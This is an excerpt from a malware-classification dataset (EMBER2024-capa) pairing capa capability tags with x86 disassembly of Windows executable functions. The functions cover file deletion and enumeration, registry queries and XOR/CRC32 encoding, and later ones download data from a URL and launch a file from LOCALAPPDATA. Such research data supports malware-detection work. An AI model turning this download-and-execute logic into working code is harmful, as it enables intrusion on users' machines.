joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403192
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031bd
mov ecx, dword [0x4247b8]
push esi
add eax, ecx
push esi
push eax
mov dword [0x41f8fc], eax
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.0040329a
cmp eax, esi
jl 0x403294
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00405e39
test eax, eax
je 0x403284
push dword [ebp + 8]
add dword [0x41f8fc], 4
call fcn.0040329a
mov ebx, eax
cmp ebx, esi
jl 0x403292
cmp dword [ebp + 0x10], esi
jne 0x403260
cmp dword [ebp + 8], esi
jle 0x403292
mov esi, 0x4138f8
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x403222
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00405e39
test eax, eax
je 0x403284
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405e68
test eax, eax
je 0x40325c
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x41f8fc], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x403211
jmp 0x403292
push 0xfffffffffffffffe
jmp 0x403286
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x40326b
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403289
push 0xfffffffffffffffd
pop eax
jmp 0x403294
mov ebx, dword [ebp - 4]
add dword [0x41f8fc], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x405815
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x408384
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x408374
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x405866
xor eax, eax
jmp 0x40588d
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x40588d
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
jne 0x405862
call esi
pop esi
leave
ret 4

Function at 0x4058c7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x422558], 0x44
push eax
xor eax, eax
push 0x422558
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x405906
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x40590a
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x4059a8
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405d9c
mov edi, eax
cmp edi, 0xffffffff
je 0x4059e9
test byte [esp + 0x10], 1
push esi
je 0x4059cb
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x4059d1
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4059da
xor eax, eax
inc eax
jmp 0x4059eb
test byte [esp + 0x10], 4
jne 0x4059e9
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x4059f0
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405cae
test bl, 8
mov dword [ebp - 0xc], eax
je 0x405a2f
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4247e8], eax
jmp 0x405bb9
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x405a49
test eax, eax
je 0x405b67
test bl, 2
je 0x405b67
mov esi, 0x421d58
push edi
push esi
call fcn.00406228
cmp dword [ebp + 8], 0
je 0x405a68
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405a6e
push edi
call fcn.00405c07
cmp byte [edi], 0
jne 0x405a7c
cmp byte [0x421d58], 0x5c
jne 0x405a87
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x405b5d
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405beb
cmp byte [eax], 0
je 0x405acd
cmp byte [ebp - 0x1c], 0
je 0x405acd
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x405ae3
mov al, byte [esi + 1]
test al, al
je 0x405b3c
cmp al, 0x2e
jne 0x405ae3
cmp byte [esi + 2], 0
je 0x405b3c
push esi
push ebx
call fcn.00406228
test byte [ebp - 0x14c], 0x10
je 0x405b08
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405b3c
push dword [ebp + 0xc]
push edi
call fcn.004059f0
jmp 0x405b3c
push dword [ebp - 4]
push edi
call fcn.004059a8
test eax, eax
jne 0x405b34
cmp dword [ebp - 4], eax
je 0x405b2c
push edi
push 0xfffffffffffffff1
call fcn.0040534f
push 0
push edi
call fcn.00406007
jmp 0x405b3c
inc dword [0x4247e8]
jmp 0x405b3c
push edi
push 0xfffffffffffffff2
call fcn.0040534f
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405aab
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405b67
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405bb9
cmp dword [ebp - 0xc], esi
jne 0x405b7b
inc dword [0x4247e8]
jmp 0x405bb9
push edi
call fcn.0040659c
test eax, eax
je 0x405bb9
push edi
call fcn.00405bc0
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.004059a8
test eax, eax
jne 0x405bb1
cmp dword [ebp - 4], esi
je 0x405b73
push edi
push 0xfffffffffffffff1
call fcn.0040534f
push esi
push edi
call fcn.00406007
jmp 0x405bb9
push edi
push 0xffffffffffffffe5
call fcn.0040534f
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405cae
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x422158
push esi
call fcn.00406228
push esi
call fcn.00405c59
mov edi, eax
test edi, edi
jne 0x405ccf
xor eax, eax
jmp 0x405d21
push edi
call fcn.00406503
test byte [0x42475c], 0x80
je 0x405ce8
mov al, byte [edi]
test al, al
je 0x405ccb
cmp al, 0x5c
je 0x405ccb
sub edi, esi
jmp 0x405d00
call fcn.0040659c
test eax, eax
je 0x405cfa
test byte [eax], 0x10
je 0x405ccb
push esi
call fcn.00405c07
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405cec
call fcn.00405bc0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405d9c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405dbb
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x405dc1
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405df0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a3ec]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405e35
test edi, edi
jne 0x405dfb
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405e2f
Function at 0x405e97
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x422ae0], 0x4c554e
mov edi, 0x400
mov ebp, 0x422ae0
je 0x405ee3
push 1
push 0
push esi
call fcn.00405dc1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x406002
cmp eax, edi
jg 0x406002
mov esi, 0x422ee0
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x406002
cmp eax, edi
jg 0x406002
push esi
push ebp
push str._s_s_r_n
push 0x4226e0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x424754]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.004062bb
push 4
push 0xc0000000
push esi
call fcn.00405dc1
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x406002
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405ffb
push edi
push esi
push ebp
call fcn.00405e39
test eax, eax
je 0x405ffb
push str._Rename__r_n
push esi
call fcn.00405d26
test eax, eax
jne 0x405f99
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405fce
add eax, 0xa
push 0x40a3f0
push eax
call fcn.00405d26
mov ebp, eax
test ebp, ebp
je 0x405fca
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405fbb
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405fb5
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405fd0
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x4226e0
push eax
call fcn.00405d7c
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405e68
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x406007
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40602a
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405e97
pop ecx
pop ecx
inc dword [0x4247f0]
ret 8

Function at 0x40610f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x400
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004060ae
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x40617e
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and byte [esi + 0x3ff], 0
test edi, edi
pop edi
jne 0x40617e
cmp dword [ebp + 0xc], 1
je 0x406181
cmp dword [ebp + 0xc], 2
je 0x406181
and byte [esi], 0
pop esi
leave
ret 0x14
Function at 0x4065c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4065e7
xor eax, eax
test eax, eax
je 0x4065f9
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4065f9
xor ecx, ecx
jmp 0x4065fc
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x4066e8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232e4], 0
push esi
jne 0x40671f
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066f9
mov dword [ecx*4 + 0x4232e0], eax
inc ecx
cmp ecx, 0x100
jl 0x4066f4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406750
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232e0]
xor eax, esi
inc ecx
dec edx
jne 0x406732
pop edi
not eax
pop esi
ret 0xc
Function at 0x4012ea
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x43e372
call fcn.0041c827
mov esi, ecx
push 4
lea ecx, [ebp - 0x10]
call fcn.004114bc
push dword [ebp + 8]
call fcn.004025b8
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00408960
add esp, 0xc
lea edi, [esi + 4]
xor ebx, ebx
push edi
push ebx
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
call fcn.0040c62c
push eax
push 0x403e20
push ebx
push ebx
call fcn.00429a11
add esp, 0x18
mov dword [esi], eax
test eax, eax
je 0x401359
lea ecx, [ebp - 0x10]
call fcn.00416f96
lea ecx, [ebp - 0x10]
call fcn.0040bd07
mov eax, esi
call fcn.0041c7f0
ret 4
push 6
mov dword [edi], ebx
call fcn.0041ab9c
int3

Function at 0x40d7a2
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x43ef10
call fcn.0041c85b
mov edi, ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
push eax
push ecx
push ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], ecx
mov ecx, ebx
push 2
call fcn.00411c3e
push eax
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x40d7ea
push str._fail_
mov ecx, esi
call fcn.0040a9d0
jmp 0x40d852
lea ecx, [ebp - 0x2c]
call fcn.0040a9fa
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x2c]
and dword [ebp - 4], 0
push 0
shr eax, 1
push eax
call fcn.00417376
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x2c]
call fcn.0040c567
push eax
push 0
push 2
mov ecx, ebx
call fcn.00411c3e
push eax
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x40d85c
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x2c]
shr eax, 1
dec eax
push eax
call fcn.00417376
lea eax, [ebp - 0x2c]
mov ecx, esi
push eax
call fcn.0040a8e1
lea ecx, [ebp - 0x2c]
call fcn.0040bb72
mov eax, esi
call fcn.0041c805
ret 8
push eax
push str.Cannot_get_string_value:_RegGetValue_failed.
lea ecx, [ebp - 0x3c]
call fcn.0040b19c
push 0x452924
lea eax, [ebp - 0x3c]
push eax
call fcn.0041daf8
int3
Function at 0x40ef07
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x455084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40ef80
cmp byte [edi + 0x3e], bl
je 0x40ef80
call fcn.0041446d
mov edx, dword [edi]
mov ecx, edi
movzx esi, ax
push esi
call dword [edx + 0xc]
movzx ecx, ax
mov eax, esi
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], ecx
push eax
call fcn.00414481
pop ecx
pop ecx
test al, al
jne 0x40efb9
mov ecx, dword [edi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.0041911e
sub eax, ebx
je 0x40ef91
sub eax, 1
je 0x40ef94
dec eax
sub eax, 1
jne 0x40efb9
mov byte [edi + 0x3e], bl
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041c7df
leave
ret
mov byte [edi + 0x3e], bl
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x40efb1
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.00429345
add esp, 0x10
cmp esi, eax
jne 0x40efb9
cmp byte [edi + 0x3e], bl
sete al
jmp 0x40ef82
xor al, al
jmp 0x40ef82

Function at 0x4124c4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub esp, 0x400
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ebx
push ebp
push 8
mov edi, esi
pop ebp
mov edx, edi
mov ecx, edi
shr edx, 1
mov eax, edx
mov edi, edx
xor eax, 0xedb88320
and cl, 1
cmovne edi, eax
sub ebp, 1
jne 0x4124d7
mov dword [esp + esi*4 + 0x10], edi
inc esi
cmp esi, 0x100
jb 0x4124d2
mov ecx, dword [esp + 0x414]
or esi, 0xffffffff
call fcn.004156a7
mov edi, eax
pop ebp
test edi, edi
je 0x412535
mov ecx, dword [esp + 0x410]
push ebx
call fcn.0040c567
movzx eax, word [eax]
xor eax, esi
shr esi, 8
movzx eax, al
xor esi, dword [esp + eax*4 + 0xc]
inc ebx
cmp ebx, edi
jb 0x412514
not esi
pop edi
mov eax, esi
pop esi
pop ebx
add esp, 0x400
ret
Function at 0x413eb3
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
lea ebp, [esp - 0x820]
sub esp, 0x820
push 0xffffffffffffffff
push 0x43f617
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x455084]
xor eax, ebp
mov dword [ebp + 0x81c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 0x828]
mov dword [ebp + 0x48], edi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.Mozilla_5.0
mov dword [ebp - 4], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
lea ecx, [ebp + 0x30]
mov esi, eax
call fcn.0040a8c8
mov byte [ebp - 4], 1
test esi, esi
je 0x413fed
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp + 0x82c]
call fcn.00411c32
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
test ebx, ebx
je 0x413fed
lea eax, [ebp + 0x48]
push eax
push 0x7d0
lea eax, [ebp + 0x4c]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [ebp + 0x48]
lea eax, [ebp + 0x4c]
push eax
lea ecx, [ebp + 0x30]
call fcn.0041165c
push 0x7d0
lea eax, [ebp + 0x4c]
push 0
push eax
call fcn.0041fa70
add esp, 0xc
cmp dword [ebp + 0x48], 0
jne 0x413f41
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push 0x440e88
lea ecx, [ebp - 0x28]
call fcn.0040a89e
push 0x440e8c
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.0040a89e
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x40]
push eax
sub esp, 0x18
lea eax, [ebp + 0x30]
mov ecx, esp
push eax
call fcn.0040a807
lea eax, [ebp + 0x18]
push eax
call fcn.00417194
add esp, 0x24
lea ecx, [ebp - 0x40]
call fcn.0040bb6d
lea ecx, [ebp - 0x28]
call fcn.0040bb6d
lea eax, [ebp + 0x18]
mov ecx, edi
push eax
call fcn.0040a7ce
lea ecx, [ebp + 0x18]
jmp 0x414056
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x440e88
lea ecx, [ebp - 0x28]
call fcn.0040a89e
push 0x440e8c
lea ecx, [ebp + 0x18]
mov byte [ebp - 4], 4
call fcn.0040a89e
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 5
push eax
lea eax, [ebp + 0x18]
push eax
sub esp, 0x18
lea eax, [ebp + 0x30]
mov ecx, esp
push eax
call fcn.0040a807
lea eax, [ebp]
push eax
call fcn.00417194
add esp, 0x24
lea ecx, [ebp + 0x18]
call fcn.0040bb6d
lea ecx, [ebp - 0x28]
call fcn.0040bb6d
lea eax, [ebp]
mov ecx, edi
push eax
call fcn.0040a7ce
lea ecx, [ebp]
call fcn.0040bb6d
lea ecx, [ebp + 0x30]
call fcn.0040bb6d
lea ecx, [ebp + 0x82c]
call fcn.0040bb6d
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x81c]
xor ecx, ebp
call fcn.0041c7df
add ebp, 0x820
leave
ret
Function at 0x416183
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x455084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, ecx
call fcn.0041446d
mov bx, ax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x2c]
movzx ecx, bx
push eax
mov dword [ebp - 0x2c], ecx
call fcn.00414481
pop ecx
pop ecx
test al, al
je 0x4161c7
lea eax, [ebp + 8]
push eax
call fcn.00415f00
pop ecx
jmp 0x4162b0
push esi
mov ecx, edi
call fcn.00416cb2
test eax, eax
je 0x416206
mov ecx, edi
call fcn.00414473
mov ecx, edi
mov esi, eax
call fcn.00416cb2
cmp eax, esi
jae 0x416206
mov ecx, edi
call fcn.00410c3f
mov esi, eax
lea eax, [ebp + 8]
push eax
call fcn.00418c8c
mov word [esi], ax
mov ax, word [ebp + 8]
pop ecx
jmp 0x4162af
cmp dword [edi + 0x4c], 0
je 0x4162ac
mov ecx, edi
call fcn.00410db2
lea eax, [ebp + 8]
push eax
call fcn.00418c8c
cmp dword [edi + 0x38], 0
pop ecx
jne 0x41622d
push dword [edi + 0x4c]
push eax
jmp 0x41626b
mov ecx, dword [edi + 0x38]
movzx eax, ax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.0041617a
test eax, eax
js 0x4162ac
cmp eax, 1
jle 0x41627f
cmp eax, 3
jne 0x4162ac
push dword [edi + 0x4c]
push dword [ebp - 0x28]
call fcn.00403991
pop ecx
test al, al
movzx eax, word [ebp + 8]
pop ecx
jne 0x4162af
movzx eax, bx
jmp 0x4162af
mov esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x41629c
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.00429345
add esp, 0x10
cmp esi, eax
jne 0x4162ac
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x30], eax
mov ax, word [ebp + 8]
jne 0x4162af
mov ax, bx
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0041c7df
leave
ret 4
Function at 0x419225
Capabilities:
Create process on windows

Disassembly:
push 0xec
mov eax, 0x43fcfe
call fcn.0041c85b
push str.LOCALAPPDATA
lea eax, [ebp - 0x14]
xor esi, esi
push eax
lea eax, [ebp - 0xe0]
mov dword [ebp - 4], esi
push eax
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0x14], esi
call fcn.0042286f
add esp, 0xc
lea ecx, [ebp - 0xf8]
push dword [ebp - 0xe0]
call fcn.0040a9d0
push 0x441274
push eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 1
push eax
call fcn.004022d8
add esp, 0xc
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 3
call fcn.0040bb72
push 0xb0
lea ecx, [ebp - 0xdc]
call fcn.004114bc
push 1
push 0x40
push 2
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xdc]
call fcn.0040a5e3
push 0x4075ff
lea ecx, [ebp + 8]
mov byte [ebp - 4], 4
call fcn.00411c3e
push eax
lea eax, [ebp - 0xdc]
push eax
call fcn.00401c34
pop ecx
pop ecx
mov ecx, eax
call fcn.0040c25e
lea ecx, [ebp - 0xdc]
call fcn.00412454
push 0xa
push esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.00411c3e
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0xdc]
call fcn.0040cfbb
lea ecx, [ebp - 0x2c]
call fcn.0040bb72
lea ecx, [ebp + 8]
call fcn.0040bb72
call fcn.0041c805
ret

Function at 0x419321
Capabilities:
Encode data using xor

Disassembly:
push 4
mov eax, 0x43e4ac
call fcn.0041c827
xor edi, edi
mov dword [ebp - 0x10], edi
mov ecx, dword [ebp + 8]
call fcn.0040a9fa
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], edi
mov dword [ebp - 0x10], 1
call fcn.004156a7
test eax, eax
je 0x419393
mov ecx, dword [ebp + 0x10]
call fcn.004156a7
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov ecx, dword [ebp + 0x10]
push edx
call fcn.0040c567
mov ecx, dword [ebp + 0xc]
mov esi, eax
push edi
call fcn.0040c567
mov cx, word [esi]
xor cx, word [eax]
movzx eax, cx
mov ecx, dword [ebp + 8]
push eax
call fcn.0040cf29
mov ecx, dword [ebp + 0xc]
inc edi
call fcn.004156a7
cmp edi, eax
jb 0x419350
mov eax, dword [ebp + 8]
call fcn.0041c7f0
ret